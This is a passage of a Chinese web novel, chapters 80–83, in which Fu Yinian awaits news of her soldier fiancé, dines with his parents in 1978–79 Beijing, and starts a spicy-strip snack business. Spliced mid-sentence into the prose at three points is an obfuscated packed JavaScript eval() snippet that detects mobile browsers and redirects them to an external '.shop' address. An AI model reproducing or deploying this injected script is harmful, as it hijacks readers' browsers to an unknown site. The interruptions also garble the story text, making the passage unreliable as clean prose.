这么反反复复的煎熬着,时间来到到十二月下旬,十一届三中全会在京城召开。 这次会议具有深远意义,确定了以“解放思想,实事求是,团结一致向前看”的改革开放的方针政策,实现了华国的伟大转折,开启了新时代的伟大征程! 改革开放,来了! 新时代,开启了! 80. 相思 第八十章 一九七八年的最后一天,是周日。加上一九七九年元旦,一共有两天假期。 假期的前一天,容阿姨和祝伯伯派了马龙开车来接符伊年回家吃饭。这已经不是第一次了。 自从“生日宴”后,祝镕的父母就经常来接符伊年回家吃饭,每个月最少一次,而且除了接她回家吃饭,还经常让人送东西来学校。 所以当在教学楼下看到军用吉普车的时候,大家都已经不奇怪。 符伊年以为今天还是马龙来接,正想着上副驾驶,没想到后车厢的门先打开了。 容院长:“年年,来这里坐。” 符伊年没想到容院长亲自过来,实在惊讶,“您怎么来了?” 经过这段时间的相处,符伊年同容院长已经比较亲近,和祝军长倒是因为男女之别,还是生疏的。 “有个消息我想亲自告诉你。” 符伊年这才发觉容阿姨今天好像心情很不错,表情放松,眼角眉梢都带着喜悦之情,嘴角不自觉第翘起来。 符伊年也开心起来,甚至抱住了容院长的胳膊,“是祝镕有消息了吗?他现在怎么样?人好不好?有没有受伤?什么时候才能回来?”问题一个接着一个,十分焦急。 “别急,”容院长并不生气,甚至还拍拍她的手,“我会全告诉你的。” 符伊年乖巧点头,“嗯嗯。” 容院长说,据南疆传回来的消息,祝镕他们军队已经到达南疆一个月了,去到之后都十分繁忙,很多设施都是新建的,条件也不成熟,和外界联系没那么方便,所以才直到今天才和军wei联系上。 “不过他可能不能给你打电话,写信暂时也不行。”容院长有些遗憾,然后安抚她不要难过,“那里有成千上万的士兵都无法联系家人,他们都写了遗书的。” 符伊年本来还在为有了祝镕的消息而开心,突然听到容院长提到“遗书”,笑容僵在了脸上,慢慢转头看向容院长,“祝镕也有?” 容院长点头,然后从另外一侧的手包里拿了一个信封出来,“这是祝镕给你的。” 符伊年把信封接过来前后翻看了两次,信封里会写些什么,其实很好猜。正是因为猜得到,符伊年并不想打开,她把信封还给容院长,“您收着吧,我就不写信了,您替我告诉他,他若是不在了,我就一个人到老。他要是不想让我孤独终老,就全须全尾的回来。” 容院长是无论如何都没有想到符伊年会说出这样一番话,整个人目瞪口呆,“傻丫头,你在说什么呀!不许胡说八道!”容院长将符伊年搂到怀里,拍拍她的头,“快呸掉,快!” 符伊年笑了,一眼转头朝另外一边“呸呸呸”了三声,转回来看着容院长笑,“您不是党员吗?还信这个啊?” “不冲突。”容院长也有心将刚才的事岔过去,就顺着这个话题说下去,“这不算封建迷信。我们说人死后是没有魂魄的,可是我们为什么要逢年过节扫墓?当我们扫墓的时候,为什么要烧纸钱倒酒水供祭品?” “仪式感。”符伊年脱口而出,说完不禁陷入沉思。 容院长赞赏的点头,她就直到这孩子是个聪慧的,一点就透。 接下来的路程,一老一小谁都没有再说话,好在很快车子就停下来。 “好了,到家了,”容院长拍拍符伊年的大腿,提醒她,“不要多想了,到家吃了饭睡一觉,好好休息一下。” 符伊年点着头下了车。 祝家住在军区里,安全条件自不必说,绿化也很好,道路两边是整齐的垂柳,隔几米就是一个菱形花坛,因为已经入冬,花坛里光秃秃的,没有植物。 根据祝军长的职级,有一座带小院的二层配楼。即便是春夏时,祝家的院子也没有像别人家似的种了满院子的花——因为没人照料,只能自生自灭。 而菜籽则不一样,只要洒下去,雨水一滋润,它自然会发芽生长,适当的时候施些肥,它就能生长的更灿烂。 等到冬季的时侯,只需要把枯苗拔掉就行了。 因此此时院子里土地光秃秃,只有一棵梅树站在墙角,静静开放。 祝镕不在家,吃饭的只有祝军长、容院长和符伊年三个人。之前符伊年没来的时候,平时只有祝军长和容院长夫妻俩吃,若是赶上容院长实验室忙,可能几天都不着家,那就只有祝军长一个人吃饭。 所以祝家只有一个从老家接来的负责打扫卫生的老妈妈,饭菜平时都是马龙从军区食堂打回来——祝军长是吃小灶的人,军区小灶大厨,那不比国宴差。 只是今天马龙带着容院长去接符伊年了,因此饭菜是祝军长自己从食堂带回来的。 晚饭过后,刚好是新闻联播时间。今天的新闻报道了一则消息:□□决定在全国恢复和增设169所普通高等学校,进一步发展高等教育,以逐步适应四个现代化的需要。 祝军长和容院长听到这个新闻都觉得是个好事。越多的高校和专业,培养的各方面人才就越多,而且都是高素质人才,如此国家建设才有人可用,也能增加更多的就业岗位,解决一些回城知青的问题。 容院长也十分赞同,“最好有更多的人学医,或者把赤脚医生们送进医学院规范学习,现在很多农村还是在家生孩子呢。” 符伊年在一旁默默地听着,没有发表自己的意见。 倒是祝军长看见她一言不发,主动问起了她,“年年怎么看?” 符伊年冷不防被问到,先是愣了一下,下意识摇头,“我说得不一定对。” “自己家随便说说,又不是开大会,没关系的。”容院长鼓励她,“你虽然学的时农林经济专业,但是要知道,所有的政策都是牵一发而动全身,教育和农业未必不相关。” 符伊年考虑了几秒,觉得这个机会很难得。她虽然在读大学,但是学到的多是书本上的东西,这些应该由长辈教导的人生道理、关于实时的敏感度、国家格局的大局观等,都因为她父母不在而五人教导。 祝镕打了恋爱报告,符伊年和他的关系基本是板上钉钉,那么祝军长和容院长就对自己有教育义务。 两位长辈这是在培养她关于实时的敏感度和大局观呢。 既然如此,符伊年便不再犹豫,说了些自己的想法,“教育界说‘百年大计、教育为本’,其实我们开学第一课的时候教授也说:‘国富民殷,强农为本’。可见教育和农业对一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127525|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国家来说都非常重要。” “高校恢复和增设后,就会有更多的人才被培养。培养的人才输送到各个行业,会带起新一轮的产业变革。对于农民来说,就是孩子们有了更多的出路,当工人、做教师、当司机、做医生、当科学家……不用再‘面朝黄土背朝天’地下地劳作,成为‘城里人’。” 祝军长和容院长对视一眼,都从各自的眼里看到了惊喜和赞赏。 虽然他们跟祝镕讲,对于他伴侣的要求不高,只要是“活的”“女的”“身世清白”“人品良好”就行,但是若是未来儿媳能有更多的优秀品质,当然更好。 更何况自己儿子那么优秀,希望有一个能和他相匹配、势均力敌的儿媳,并不过分。 “还有吗?”祝军长目带希冀地看向符伊年,“再说说,没关系,我也听听你们年轻人的想法。” “还有?”符伊年脑子转了转,摇头,“想不出来了,我能想到的就是这些,再就是对‘家庭联产承包责任制’这个政策提出的佩服,接下来农民肯定生活越来越好,生活好了才会想其他。” 祝军长觉得今晚差不多了,便也不再多问,指着茶几上的水果示意她吃,容院长更是直接,“不想看电视就上楼去休息,水果也带几个上去,早点休息。” 符伊年这不是第一次留宿祝家,之前也留宿过两三次。容院长给符伊年安排的房间在祝镕房间的隔壁,除了第一次留宿时符伊年站在祝镕房间门口看了一会儿,今天是她第一次进去。 祝镕的房间布置得十分简单,靠墙是一张床床尾一个衣柜,靠窗则是一套桌椅一个书柜,因为经常打扫的缘故,所以也很干净整洁。 祝镕很久没有回来了,房间里自然也不会有什么“他的气息”,有的都是洗衣粉的气息而已。 符伊年把手里捧着水果碗放在桌上,在祝镕的床边坐下来,静静地看着房间里的一切,突然一下子就很想他,也不知道他现在怎么样了。 千里之外的南疆。 祝镕从帐篷里走出来,看向天上。 晚饭后突然下了一点雨,地面湿乎乎的,潮气一直没散掉,夜晚的天空也是雾蒙蒙的,看不见月亮,更看不见星星。 祝镕深深地吐出一口气,营长抽着烟踱步过来在他身边站定,“想什么呢?” 祝镕回神,摇头,“没啥,”嗅到烟草气息,用胳膊肘碰碰营长,“还有吗?给我来一棵。” “你不是不抽烟?”营长一边掏出烟盒和火柴,一边疑惑。 祝镕将烟点燃了叼在嘴角,吸了一口,“压力太大了。”吸完这一口,祝镕没有再吸,只是用右手中指和食指夹住烟,“营长,家里怎么样最近?” “挺好的,我们开拔之前刚收到的信,今年粮食收成不错,你嫂子当了村小的老师,日子越来越好了。”营长说着,看向祝镕,“想对象了吧?” 祝镕没有否认,“是啊。” “正常,”营长吸一口烟,抬头看向雾蒙蒙的天空,今晚没有月亮,但是军营灯光明亮,“哪有不想的两口子,别看我和你嫂子结婚这么多年了,也想。” 很多年后,有这么一首歌唱到:……宁静的夜晚,你也思念我也思念…… 81. 七九年 第八十一章 一九七九年,是华国历史上转折的一年。 从元旦开始,一切都是新的起点。 1月1日,《告台湾同胞书》发表,宣告停止炮击金门,确定了“和平统一”的方针,两岸关系有了新的进展。 有了新的进展关系的,除了国内新闻,还有国际上。也是这一天,华国与漂亮国建立外交关系,打破了十年的西方封锁壁垒,建立和促进了两国在经济、贸易、科技、文化、金融等各方面的交流和发展 所以新年假期结束,回答学校时,符伊年满耳朵的都是关于这两则新闻的议论,对这两条新闻,尤其是和漂亮国建交这个,大家的看法不一。 有人认为当今世界和平和发展才是主流,与漂亮国建交是正常的发展趋势,无需大惊小怪,至于当初抗美援朝的仇恨,已经过去了。 至于对岸,大家都是一家人,打来打去的伤和气,和平统一于双方都有利。 也有人认为,非我族类,其心必异。就算和漂亮国建交了,人家也不是真心实意对我们。还有对岸,当初要不是漂亮国给对岸支持,说不定早就解放湾湾统一全国了。 “年年,你怎么看?”常开心盘腿坐在床上,问道。 符伊年有几秒钟的无语,心说我改名叫元芳了吗,怎么每个人都问我怎么看。 但是该回答的问题还是要回答的。 “没有永远的朋友,只有永远的利益。”符伊年说:“谈什么感情,多伤钱啊,赶紧搞钱才是真的。” 宿舍里不止有403的六个人,还有隔壁宿舍和对面宿舍的几个女生在这里,大家本来是一起复习的,是学累了才决定换换脑筋的。 因为大家平时只有上课时才接触的比较多,平时符伊年多是跟马悦米仙花等人在一起,接触的不多,也不了解,此时听到符伊年的话,有两个就用不可思议的目光看向符伊年。 大约是没想到符伊年居然如此“利欲熏心”“利益至上”吧。 符伊年并不在意,何况她说得是事实。也许接下来一段时间中美会有一个“蜜月期”,不过那也只是短暂的几年而已,长久来看,漂亮国是不可能看着华国逐渐变得强大的,甚至还要趁我们弱小时多欺负几次。 不过,就算只有几年的“蜜月期”也很好了,可以趁此机会发展壮大自己。 新年过后没多久就开始期末考试,考完试第二天就放寒假了。 虽然容阿姨和祝伯伯都留她在京城过年,符伊年还是婉拒了。倒不是不好意思住进祝家,其实她自己的四合院也装修好了,她可以住那里。只是她要回去是有别的事。” “春节前要回老家扫墓,上一次去还是暑假,好几个月了。”符伊年解释。 容院长见留不住,干脆收拾了一大堆东西给她带回去,符伊年急忙拦住,“我过完春节就回来了,最多半个月,用不着带这么多东西。” 容院长见她说得真心,只好拿出一半来,另外给了符伊年一叠粮票布票,“回老家别空手,多买些东西。”容院长想说等祝镕回来再让他陪她一起回,但是又想到前天从祝军长那里看到的文件,没说出来。 符伊年对容院长的叮嘱和准备得物品照单全收,然后再遵从她的安排由司机送去车站,并将她提前上了车。 车票时祝军长安排的,软卧,一个车厢四个床铺、车厢门可以关的那种,非常舒服了。 这待遇,符伊年两辈子了,头一次这么好,让她一时间竟然有些无法适应。 山猪吃不了细糠!符伊年在心底唾弃自己。 七九年的春节在1月28日,春节的第二天,1月29日,总设计师出访漂亮国进行为期一周的国事访问。这是新中国成立后中国国家领导人第一次访问美国,自此后,两国合作进入“蜜月期”,各方面的交流日渐加深。 这对华国的经济、政治都是不小的冲击和影响。 一月的最后一天,符伊年已经回到了京城。她没有住进祝家,而是住进了已经修复好的四合院。 说是修复好,其实只是外观修复好了,房顶碎裂的瓦片换了新的,雕梁画栋重新描画涂彩,墙壁檩柱窗棂等也都涂漆修复,就连窗户的玻璃都换新的了,整座院子三进修复下来,将符伊年剩余的那五千多块现金花得一干二净。 不过符伊年认为这钱花的很值,因为整个四合院三进院子修复完之后再看,像新的一般。 只是如此一来,符伊年就没有钱置办家具了。她本来想着要不要卖两件古董戒指,好添几件像样的家具。 只是每等她有动作,容院长给了她一张存折,说是祝镕这些年存在她这里的,现在拿出来给她用。 符伊年没有收。一来她清楚这钱多半不是祝镕的——暑假她提到要买房时祝镕并没有说有钱在容院长这里,二来其实她不想这么早置办家具,这个时期的家具风格不在她的审美点上,还是等过几年有了更流行的款式再说。 不过一点家具没有也不行,最后她只在第二进的东厢房添了几件家具。之所以选择第二进东厢房,是因为她打算将正房留给祝军长和容院长住,自己作为晚辈只能住厢房。 至于第三进,或许回留着她和祝镕结婚以后住,但是现在人少家大,还是先在同一个院子里住着吧。 东厢房一共四间,符伊年选择有炕的北屋住,炕上已经铺了羊毛毡,地下一个衣柜,衣柜里有一套被褥,容院长已经趁天气好的时候晒过了,符伊年到了就能直接用。外间地中间摆了一套圆桌圆凳,圆桌上一套茶壶水杯,暖壶里也已经烧好了热水。 接她到四合院的马龙说,容院长最近工作很忙,有时候来不及回军区大院就在四合院住下了——医院距离四合院期自行车只需要一刻钟左右。 “那最好不过了。”符伊年很开心能给容院长提供便利,对于她那样搞科研的人来说分秒必争,因此有足够的休息时间是非常重要的,只有休息好了,经历 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138906|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才回充沛起来,工作起来才会事半功倍。 马龙告诉符伊年,二进院的地龙已经烧好了,炉子里得煤球晚饭后再换一次就行。 马龙:“符同志没有别的事的话,我就先走了。” 符伊年:“小马哥再见,开车注意安全。” 屋子十分温暖。温暖得符伊年想躺在炕上直接躺平不起来。不过到底搞钱得心思占了上风,她还是很快就起来了。 从火车站回来得路上,符伊年已经见到好几个推车小吃摊,有卖糖葫芦的有卖糖人的,有卖花生瓜子的,还有一个卖烤地瓜的。 非常明显,都是私人车摊,虽然没有像后世那样吆喝着揽客,可是相比之前几年,也算得上是明目张胆了。 看起来到了今年,经济环境确实好多了。 符伊年走出四合院大门,想了想,奔北海公园去了。一来附近都是胡同没啥玩儿的,二来虽然冬天北海公园不能划船但是可以滑冰,游人也不会少,应该有些小摊小贩。 果不其然,虽然是冬天,但是正处于过年期间,游人还是很多的。大小朋友们穿着冰鞋裹着大衣在冰面上恣意的滑翔飞舞,岸上有老有小,老的手里攥把瓜子儿边唠嗑边嗑,小的手里拿着一串糖葫芦嬉笑玩闹的,十分热闹。 符伊年左右看了看,看到了卖糖葫芦和卖瓜子的车摊,旁边还有一个卖烤地瓜的车摊,圆圆的大水桶上放了好几个香气扑鼻的烤地瓜,有的都烤出油了,闻起来特别有食欲。 符伊年上前问了问价钱,五毛钱一斤。唔,稍微有点贵,现在大米才多少钱哪。不过考虑到这里是京城,北海公园又是景点——景点一向有自己的物价系统,价格贵点也就贵点吧。 符伊年想了想,买了一个地瓜,用纸袋装着站到一旁几米远的地方边吃边观察。 符伊年吃一个烤地瓜的功夫,前后大概五六分钟的时间,糖葫芦卖出去十二根,烤地瓜卖出去五个,瓜子儿量不好计算,只能按顾客数算,买的人最多,十个人里有八个人都买了瓜子。 符伊年吃完烤地瓜,把纸袋叠好扔进一旁兔子模样的垃圾桶里,又掏出手帕擦了擦嘴巴,然后走去另外两个摊前,买了两斤瓜子儿和两根糖葫芦,分别用纸袋装好,慢慢走回家去。 回家的路走的是另外一条,穿过一条胡同,经过一个大杂院,一个小孩儿手里抱着一个酱油瓶从里面走出来,蹦蹦跳跳地来到另外一个院子门口,用清脆的童音喊了一声,“打酱油!” 十几秒后,里面走出来一个中年女子,接了小孩儿手里的酱油瓶进屋,很快又重新出来把瓶子给小孩儿,并叮嘱他抱好。 符伊年看到小孩儿给了对方一角钱,然后转身走了。 中年女子接了钱,直起身时看到了不远处的符伊年。符伊年看到她有一瞬间的惊慌,转念一想就明白了,这可能是一家私下经营的小卖部,怕符伊年举报她。 符伊年赶忙笑一笑,“那个,有白糖吗?买一包。” 82. 好东西 第八十二章 符伊年:“有白糖吗?多少钱?买一包。” 中年女子对着她打量了一会儿,觉得符伊年应该是没有恶意的,便点头,“进来吧。” 符伊年没有跟着对方进去,只是问多少钱,“您拿出来就行了,我给你钱。” 中年女子到这时候就彻底打消了对符伊年的怀疑,“白糖一块钱一斤,红糖一块二一斤。” 符伊年不知道这个价格是不是合理,但是没有讨价还价,很痛快地一样买了半斤,又问了盐的价格,被告知盐分两种,一种是大粒盐,一种是精盐。 “你要盐干啥用?要是炒菜就买精盐,要是腌咸菜就用大粒盐。”中年女子看出来了,符伊年是个不做饭的。 符伊年想了想,要了一斤精盐。相比白糖和红糖的价格,盐是真的很便宜,不要票的食用精盐才两角钱一斤。 这期间,符伊年顺着敞开的门往房间里瞥了眼,只能看见房间的一小半,但是堆放了不少的物品,符伊年看到了用大桶装的酱油、醋,用玻璃丝袋子装的白糖、红糖,架子上有水盆、洗衣粉、肥皂,房梁上挂着的腊肉腊肠、腊肉和腊肠下面的两箱汽水…… 种类还挺丰富的,符伊年心想,这种小卖部,已经初具超市的雏形了。 中年女子将符伊年购买的物品都用纸包装好,见她提得东西比较多,还找了个布袋子,将几包糖、盐装在里面,还示意符伊年可以把瓜子也放进去。 符伊年在心底爱你爱你暗暗竖大拇指,难怪后来私人小卖部、超市等将供销社给挤垮了,看看人家这服务态度,再看看供销社的,好多销售员都对顾客爱答不理的,语气也不好。 回到家的时候,符伊年发现容院长已经回来了,正坐在而进院子的正房正厅中休息,见她回来就起身迎出来。 二进的正房布置的也很简单,因为容院长睡不惯炕,正房东卧室用的是床,靠墙一套简单的衣柜,东边另外一间布置成了书房,一张大书桌,两侧各一把办公椅,因为不是常住,还没买书柜。 正中间的客厅是一组沙发和一张茶几,西边则布置成了餐厅。 都是十分简单的家具,至于其他的什么博古架、屏风、花瓶,都以后再说。 “去哪里了?”容院长走出来接过她手里的布袋子打开看了一眼,“去逛街了呀?” 符伊年跟着进了屋,在沙发上坐下来,“没有,去北海公园走了走,买了点瓜子和糖葫芦。”说着她把糖葫芦拿出来,放到容院长面前,“请您吃呀。” “哎呦,谢谢年年,”容院长十分开心,倒不是一串糖葫芦有多稀奇,更珍贵的是孩子的一份心意。 符伊年见容院长很高兴,还直接撕了包装纸就要吃起来,也十分的高兴。她最讨厌那种明明想吃却嘴上说要留给孩子、让孩子先吃、过后又要强调自己付出的自我感动式家长了。 于是祝军长提着军区小灶食堂的回来的时候,看到的就是这样的情形:容院长手里握着一根已经吃了一半的糖葫芦额,此时正在往外吐山楂籽。 她旁边坐着今天才从安县回来的符伊年,正在边看书边嗑瓜子,嗑瓜子的速度很快,一页书还没看完,茶几上就堆了一堆瓜子儿皮。 祝军长是苦孩子出身,当了兵才开始读书学习,慢慢脱盲,等到解放后也在军校进修过,但是学得还是军事相关,战术策略武器装备等,文学素养一直不高。 但是这一刻,祝军长想到一个词:岁月静好。 当然,如果此时祝镕也在的话,就更完美了。 这时候屋内的两个人听到动静,一起抬起头来,“你/祝伯伯回来了。” 祝军长抬步走进正房的正厅,看了眼茶几上的东西,“你们这是出去了?” 容院长:“没有,年年去北海公园逛了一圈。” 符伊年从祝军长手中接过食盒放去餐厅,转身准备问容院长什么时候用饭,就看见祝军长已经在容院长身边坐下了,正在同容院长抢糖葫芦,她立即转回头去,在餐厅椅子上坐下来。 “别抢,你的在外面窗台上。”容院长偏开身子,用下巴示意外头,“年年不会忘了你的。” 祝军长这才停下争抢的动作,满意地颔首,不过没有立即去外面拿糖葫芦,“先吃饭,吃完饭再吃糖葫芦。” 符伊年在餐厅听见这话,立即将食盒盖子打开,把里面的菜端出来,“伯伯,阿姨,吃饭吧。” 饭后,符伊年将饭桌收拾干净,祝军长沏了一壶茶,一家三口围坐在沙发上,边喝水边聊天,手里还嗑着瓜子。 聊着天,就说到如今经济状况越来越宽松,路上不少小摊小贩在做生意。祝军长觉得这种情况会越来越多,“只是如此下去,供销社、百货大楼这些国营商场怕是生存困难。” “也不是没有好处,”容院长到底是常去买东西的女人,体会更深一些,“这些年供销社一家独大,养得那些人鼻孔快上天了。得有竞争才有改变。” “容阿姨说得对,有竞争才能有改变。”符伊年附和道,“但是我觉得,改变的应该不仅仅是服务态度,更多可能是经营方式带来的冲击。” “说到这个,祝伯伯容阿姨,我最近有个想法。”符伊年突然话音一转。 祝军长和容院长对视一眼,各自放下手里的茶杯和瓜子,正襟危坐,“你说。” 他们这么严肃,让本来就有些紧张的符伊年更是心如鼓擂,她重新组织了一番语言,把自己的想法说出来。 符伊年想趁着改革开放的东风和市场还很广阔的先机,也搞一个车摊,不过她不是自己去做,而是自己出方子,雇两个人帮忙制作然后售卖。 “我想听听两位长辈的意见和建议,这个想法是否可行,还有就是,会不会给您二位和祝镕带来什么不好的影响?” 祝军长听完沉吟了片刻,“你说你手里有方子,是秘方吗?” “不算,”符伊年实话实说,“是我从古书上看到的,我自己改良的,寒假在家时试验过两次,吃着还行。” “现在家里有吗?我能吃一点吗?”容院长比较好奇,想试试好吃不好吃。 符伊年去东厢房把自己在安县做好的辣条拿过来,“有点点辣,这个食物是从川菜谱里找到的。”符伊年把两个饭盒打开,两双筷子分别递给容院长和祝军长,“我做了香辣和甜辣两种口味。” 祝军长已经迫不及待地从香辣那个盒里夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150359|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一根吃了,第一口的滋味就让祝军长眼睛一亮,辣是不太辣,比老战友从湘西寄来的红辣子好多了,不能吃辣的人应该也能接受,除了辣还有香,有芝麻的香、花生的香,好像还有一点茴香的味道。 而另外一盒甜辣口味的,容院长已经再吃第四根了,越吃越好吃越吃越上瘾。第四根吃完准备吃第五根的时候,拿筷子的手被符伊年按下了。 符伊年:“阿姨,这个还是辣的,吃多了对胃肠不好,明天再吃吧。” 容院长十分听劝,当即把筷子从甜辣的那盒收回来,手腕一转伸进了香辣的那盒。两种都吃过后,还是觉得甜辣好吃一点。 倒是祝军长觉得两种都不错,“年年应该早点拿出来,这玩意下酒最好吃。” 容院长将甜辣饭盒的盖子盖上,用手按住饭盒盖,“这盒别动,我明天带去单位,犒劳一下我的学生们。” 祝军长虽然没说出来,眼神却是明明白白:他也是一样的想法。 试吃结束,祝军长看向符伊年,问了她几个问题,“这个东西好吃是好吃,但是你要考虑成本,我好像吃出了些肉香?” 祝军长看向容院长,征求她的看法。容院长也点头,是有些肉的香气。 “若是放了肉,那成本可就高了。另外,你打算卖多少钱?当前群众的生活水平也就温饱,卖贵了没人买,卖贱了裹不本啊。” 这些符伊年早有所考虑。 “辣条这个食物的主要材料其实是豆皮。” 这话一说出来,祝军长喝容院长都吃惊了,居然是豆皮? “吃到肉香是因为我用大骨头汤熬煮的,香辣的除了芝麻、花生、茴香、肉蔻、大料,我还放了些药食同源的中药材。” “甜辣里用的不是糖,而是我们学校食品专业新提炼出来的一种天然甜味剂。所以会觉得口感清甜。” 祝军长听到这里就明白了,这个食物,是古方和现代科技工艺相结合的产品,而且方子也被符伊年改良过了,这样就是秘方了。 “这些话,不要再同别人讲了。”祝军长抬手拦住符伊年,“这是秘方,小心泄露。” 符伊年却觉得没什么,毕竟后世辣条厂家遍地都是,自己不过是借了东风和抓住先机罢了。 这时容院长突然开口了,“你钱还够吗?刚修了院子,连家具都舍不得买,没钱了吧?”她从身边的挎包里拿出一张五千块钱的存折来,“之前给你让你买家具你说不用,这个时候可别推脱见外了。” 符伊年兜里其实装着两枚从安县带来的古董戒指,一开始是打算买房修房用的,后来没用上,就一直在行李箱里藏着。 符伊年想了想,还是把戒指拿了出来,“我本来是打算把这两枚戒指卖了的,不过一时可能没那么快出手,也怕卖不到好价钱。我先拿着存折把摊子搞起来,阿姨这戒指放您那里,您认识人多,找机会帮我问问价格。” 容院长和祝军长对视一眼,两位都直到她其实是把戒指抵押在这里了,相当于这五千块钱是同他们借的了。 容院长本来想拒绝,祝军长首先点了头,“好,先放我们这里。” 符伊年笑起来。 来呀,开始搞钱了! 83. 生意经 第八十三章 当然了,只有祝军长和符院长两个人的意见还是不够的。 符伊年觉得现有的这些不够新鲜,当天晚上紧急又做了一些,两种都分别给容院长和祝军长装了两饭盒——祝军长突然想起来他们参谋长是川省人,估计会喜欢这个东西。 剩下的,符伊年用另外的盒子装好带去找管方了。 开车摊这件事,符伊年取得了“上头”的支持,但是她一个人是铺开的,尤其是制作这一块儿,等开了学,自己可就没时间了,还是得雇人。 雇人这件事,还得熟悉当地的人来,简称“地头蛇”。 管方家里,只有她一个人在,她家里人都去亲戚家拜年了。当管方得知了符伊年的来意,十分感兴趣,立刻坐得更近了一些,“你详细跟我说说。” 说完突然觉得这句话有歧义,急忙解释道:“我不是要跟你打听秘方,主要想听听你说得做生意这个事儿。” 符伊年摆摆手,表示自己明白,接着大略解释了一遍自己的想法:先开个小作坊沿街叫卖抢占市场,待时机成熟,就开办工厂,大量生产推广到外地去。 “办了经营许可证开了工厂,就能纳税了,也算为国家做贡献。”符伊年笑着说到,“只是这个工作人员……”符伊年看向管方,“我是外地的,祝镕爸爸妈妈们对这一块也不熟悉,你是‘地头蛇’,认识的人会比较多,你帮着找几个合适的。” 符伊年说着把一张写了招工要求和福利待遇的纸交给管方。管方打开一看,吃了一惊。她不可置信地看向符伊年,“一个月二十二?这也太高了吧?工厂正式职工也就这么多了。” 管方说得没错,符伊年以前在纺织厂的工资差不多也就这么多,不过,“工厂的福利多啊,各种票据物资,我啥都没有,可不就得多发些钱了。而且这个数其实是基本工资,到时候会按计件发提成。要是高的话,一个月差不多能拿到二十五。” “听得我都心动了。”管方笑着打趣。 符伊年更是顺着她开起玩笑,“我是不介意的,你要是来给我打工,我一定让你做总经理!” “真的?”管方眼睛亮亮的。 符伊年一愣,她不会当真了吧?她抓住管方的肩膀晃,“孩子!进部委拿铁饭碗不香吗?” 世界的尽头是编制啊!你知道千军万马挤那座独木桥为的只是那一纸编制? 管方本来也就是开个玩笑,毕竟现在还处于“铁饭碗”时代,个体经济、私营经济还没发展起来,即便发展起来了,也被认为是“丢脸”的、“不务正业”的,起码要两三年后,才会真正被人们接受、羡慕并趋之若鹜。 以至于后来有这样的说法:搞导弹的不如卖茶叶蛋的;以及:十亿人民九亿商,还有一亿要开张。 可见改开后商业繁荣到何等地步。 说远了,带回来。 符伊年告诉管方,其实这几个只是工厂或者现在叫“作坊”的几个制作工人的工资,“销售的话,我打算按‘底薪+提成’的方式给,卖得多收入高,卖得少收入低,全看个人能力。” 一番话说得管方愣愣的,过了一会儿才回过神来,看向符伊年的目光逐渐不同起来,“年年,你……” 管方停顿了一下,还是找不到合适的语言来表达自己的心情,干脆还是竖起大拇指,表示自己的敬佩,“你的想法我听都没有听说过。” 符伊年笑笑,“多劳多得少劳少得,不劳不得。很公平。” 这么说管方就明白了,“和‘大包干’一样。谁干得多干得好谁打得粮食多。要是和以前大锅饭一样,老实肯干的吃亏,偷懒耍滑的得利。确实不太公平。” 这件事拜托给了管方,符伊年又开始跑办厂的手续。这是官方的一部分,她不是很懂,祝军长和容院长就更加不懂了,不过他们的人脉和渠道比较多,很快就打听到了,现在还没有给个人办经营许可证的政策。 至于最近兴起的这个小摊小贩,有些人认为是“小打小闹”“成不了气候”,根本没往心里去。殊不知,以后正是这样的小车摊,才支撑起了号称“烟火气”最旺盛的夜市经济。 虽然政策上现在没有明确规定,符伊年也不敢甩开膀子大干,还是先从“小打小闹”办起。她把一进院单独隔起来重新开了一个门,选了两件屋子用来制作辣条,另外一个屋子在窗口挂个招牌,就算开张了。 招牌上写的名字叫“福记辣条”,“福”即“符”。 招牌是符伊年请祝军长写的。她以前听祝军长说过,他的字是她大爷爷符明真教的,那时候很多人都不识字,而符明真出身书香门第,一手字写的很漂亮,潇洒有力。 祝军长后来又把这手字传授给了祝镕,很是有几分真传。倒是符伊年自己,作为符家唯一的后人、符明真的侄孙女,字迹并不相像。 符伊年请祝军长帮她写招牌,最开始只是想着他字写得好看,倒是祝军长本人听了,先是怔愣后是欣喜,“也好,就当是替你大爷爷写给你的,也算是你们符家的家传。” 配方是符伊年自己配制的,十几种调料,还有几样药食同源的药材,再加上农大新研制出来的几种调料,也算是秘方了。 就是目前还没有专利法,等到有力,她就去注册一个,也算是自己的专利,若是以后卖配方,应该也能赚不少钱。 接着就是采购原料,辣条的主要原料其实就是豆皮,幸好粮票在逐渐取消了,符伊年才能大量采购。不过后来需要越来越多,她就找人去乡下采购,量大还更便宜。 接下来就是制作和销售。 